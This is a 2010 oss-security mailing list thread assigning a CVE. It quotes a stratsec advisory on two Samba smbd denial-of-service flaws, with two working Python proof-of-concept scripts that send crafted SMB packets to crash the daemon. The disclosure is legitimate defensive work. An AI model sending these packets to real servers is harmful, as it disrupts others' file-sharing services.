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Date: Tue, 25 May 2010 13:53:46 -0400 (EDT)
From: Josh Bressers <bressers@...hat.com>
To: oss-security@...ts.openwall.com
Cc: coley@...re.org
Subject: Re: Fwd: [Full-disclosure] stratsec Security
Advisory SS-2010-005: Samba Multiple DoS Vulnerabilities
Please use CVE-2010-1635
Sorry for the delay, I've been out for a few days.
--
JB
----- "Thomas Biege" <thomas@...ell.com> wrote:
> So far no assignments were made, right?
>
> Am Donnerstag 20 Mai 2010 16:17:48 schrieb Thomas Biege:
> > Hello oss-security,
> > was a CVE-ID assigned for this issue already?
> >
> > Thanks,
> > Thomas
> >
> >
> > ---------- Forwarded Message ----------
> >
> > Subject: [Full-disclosure] stratsec Security Advisory SS-2010-005:
> Samba
> > Multiple DoS Vulnerabilities
> > Date: Mittwoch 12 Mai 2010, 09:00:07
> > From: stratsec Advisories <advisories@...atsec.net>
> > An: "full-disclosure@...ts.grok.org.uk"
> > <full-disclosure@...ts.grok.org.uk>
> >
> >
> ===========================================================================
> > ==== stratsec Security Advisory: SS-2010-005
> >
> ===========================================================================
> > ====
> >
> > Title: Samba Multiple DoS Vulnerabilities
> > Version: 1.0
> > Issue type: Multiple
> > Affected vendor: Samba
> > Release date: 12/05/2010
> > Discovered by: Laurent Gaffié
> > Issue status: Patch available
> >
> >
> ===========================================================================
> > ====
> >
> > Summary
> > -------
> >
> > Two vulnerabilities were discovered within in the Samba Smbd daemon
> which
> > allow
> > an attacker to trigger a null pointer dereference or an
> uninitialized
> > variable read by sending a specific 'Sessions Setup AndX' query.
> > Successful exploitation
> > of these issues will result in a denial of service.
> >
> > Description
> > -----------
> >
> > The Server Message Block (SMB) protocol, also known as Common
> Internet File
> > System (CIFS) acts as an application-layer protocol to provide
> shared
> > access to
> > files, printers and Inter-Process Communication (IPC). It is also a
> > transport for Distributed Computing Environment / Remote Procedure
> Call
> > (DCE / RPC) operations. After negotiating an SMB communication the
> client
> > sends a 'Session Setup AndX' packet to negotiate a session in order
> to be
> > able to connect on a specific share.
> >
> > To trigger the null pointer dereference, the client needs to send a
> crafted
> > SMB
> > 'Negotiate Protocol' query with the SMB header 'Flags2' set to
> '0x0003'
> > (no Unicode), followed by a Session Setup AndX request with the SMB
> header
> > 'Flags2' set to '0x8003' (Unicode). This sequence will result in a
> crash
> > within
> > the Smbd process.
> >
> > The uninitialised Variable Read issue, can be triggered if the
> client sends
> > a crafted 'Session Setup AndX' with a 'security blob length' value
> set to
> > '\xff\xff'.
> >
> > Impact
> > ------
> >
> > A remote attacker can cause a denial of service within the Samba
> daemon
> >
> > Affected products
> > -----------------
> >
> > Samba <=3.4.7 and Samba <= 3.5.1
> >
> > Proof of concept
> > ----------------
> >
> > To trigger the uninitialised variable read issue, the following
> Python
> > proof of concept is available:
> >
> > import sys,socket
> > from socket import *
> >
> > if len(sys.argv)<=1:
> > sys.exit('Usage: python smbd.py 10.0.0.12')
> >
> > host = sys.argv[1],445
> >
> > packetnego=(
> > "\x00\x00\x00\xaa"
> > "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xca\x00\x00\x00\x00"
> > "\x00\x87\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"
> > "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x1a\x45\x4e\x49"
> > "\x58\x20\x43\x4f\x52\x45\x00\x02\x4d\x49\x43\x52\x4f\x53\x4f\x46"
> > "\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x31\x2e\x30\x33\x00"
> > "\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64"
> > "\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75"
> > "\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30"
> > "\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e"
> > "\x54\x20\x4c\x4d\x20\x76\x2e\x31\x32\x00"
> > )
> >
> > payload=(
> > "\x00\x00\x01\xa3"
> > "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x03\x80\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x41\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> > "\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xca\x00\x00\x00"
> > "\x00\x0d\x75\x00\xd6\x00\x04\x11\x0a\x00\x00\x00\x00\x00\x00\x00"
> > "\x18\x00\x18\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x99\x00\x36\xed"
> > "\x7f\xf4\x6b\xeb\x15\x65\x2e\xb5\xc9\x70\xbe\x39\xfa\x89\x56\x5b"
> > "\xb0\xc2\x56\x40\x11\x6c\xe6\x33\x1e\x93\x02\xd3\xd3\x2e\x17\xad"
> > "\x1f\x37\x23\xcf\x7e\x4c\xd7\x64\xbe\xd5\xdc\x1f\x23\xe0\x69\x41"
> > "\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x69\x00\x73\x00\x74\x00\x72"
> > "\x00\x61\x00\x74\x00\x65\x00\x75\x00\x72\x00\x00\x00\x4e\x00\x54"
> > "\x00\x34\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77"
> > "\x00\x73\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x31\x00\x33\x00\x38"
> > "\x00\x31\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
> > "\x00\x77\x00\x73\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x34\x00\x2e"
> > "\x00\x30\x00\x00\x00\x00\x00\x04\xff\x00\x00\x00\x00\x00\x01\x00"
> > "\x31\x00\x00\x5c\x00\x5c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31"
> > "\x00\x36\x00\x38\x00\x2e\x00\x30\x00\x2e\x00\x31\x00\x30\x00\x34"
> > "\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f"
> > "\x3f\x3f\x00"
> > )
> >
> > s = socket(AF_INET, SOCK_STREAM)
> > s.connect(host)
> > s.send(''.join(packetnego))
> > s.send(''.join(payload))
> >
> >
> > To trigger the null pointer dereference issue this Python proof of
> > concept is available:
> >
> > import sys,socket
> > from socket import *
> >
> > if len(sys.argv)<=1:
> > sys.exit('python smbd.py 10.0.0.12')
> >
> > host = sys.argv[1],445
> >
> > packetnego=(
> > "\x00\x00\x00\x85"
> > "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00"
> > "\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"
> > "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d"
> > "\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66"
> > "\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e"
> > "\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
> > "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20"
> > "\x30\x2e\x31\x32\x00"
> > )
> >
> > payload=(
> > "\x00\x00\x00\xec"
> > "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00"
> > "\x0c\xff\x00\xec\x00\x04\x11\x32\x00\x00\x00\x00\x00\x00\x00"
> > "\xff\xff" ## Security blob set to \xff\xff here
> > "\x00\x00\x00\x00\xd4\x00\x00\xa0\xb1\x00\x60\x48\x06\x06\x2b"
> > "\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b"
> > "\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c"
> > "\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28"
> > "\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00"
> > "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00"
> > "\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00"
> > "\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00"
> > "\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00"
> > "\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00"
> > "\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"
> > )
> > s = socket(AF_INET, SOCK_STREAM)
> > s.connect(host)
> > s.send(''.join(packetnego))
> > s.send(''.join(payload))
> >
> > Solution
> > --------
> >
> > Update to version 3.5.2 or 3.4.8 (http://samba.org/)
> >
> > Response timeline
> > -----------------
> >
> > * 09/03/2010 - Null pointer dereference issue reported to vendor.
> > * 09/03/2010 - Vendor acknowledges receipt of advisory 2 hours
> after
> > receiving the initial email
> > * 09/03/2010 - Vendor confirms issue presence, and provide a patch
> 3
> > hours after receiving the initial email.
> > * 09/03/2010 - stratsec confirms patch resolves issue.
> > * 15/03/2010 - Uninitialised Variable Read issue reported to
> vendor.
> > * 15/03/2010 - Vendor confirms the issue and provides a patch 5
> hours
> > after receiving the initial email.
> > * 15/03/2010 - stratsec confirms patch resolves issue
> > * 07/04/2010 - Version 3.5.2 released by the vendor fixing both
> issues.
> > * 11/05/2010 - Version 3.4.8 released by the vendor fixing both
> issues.
> > * 12/05/2010 - This advisory published.
> >
> > References
> > ----------
> > * Vendor advisory: http://samba.org/samba/history/samba-3.4.8.html
> > * https://bugzilla.samba.org/show_bug.cgi?id=7254
> > * stratsec would like to thanks the Samba Security Team for their
> > responsiveness while handling theses issues
> >
> >
> ===========================================================================
> > ====
> >
> > About stratsec
> > --------------
> > stratsec, specialises in providing information security consulting
> and
> > testing services for government and commercial clients. Established
> in
> > 2004, we are now one of the leading independent information
> security
> > companies in the Australasian and SE-Asian region, with offices
> throughout
> > Australia and in Singapore and Malaysia.
> >
> > For more information, please visit our website at
> http://www.stratsec.net/
> >
> >
> ===========================================================================
> > ====
>
> --
> Thomas Biege <thomas@...ell.com>, SUSE LINUX, Security Support &
> Auditing
> SUSE LINUX Products GmbH, GF: Markus Rex, HRB 16746 (AG Nuernberg)
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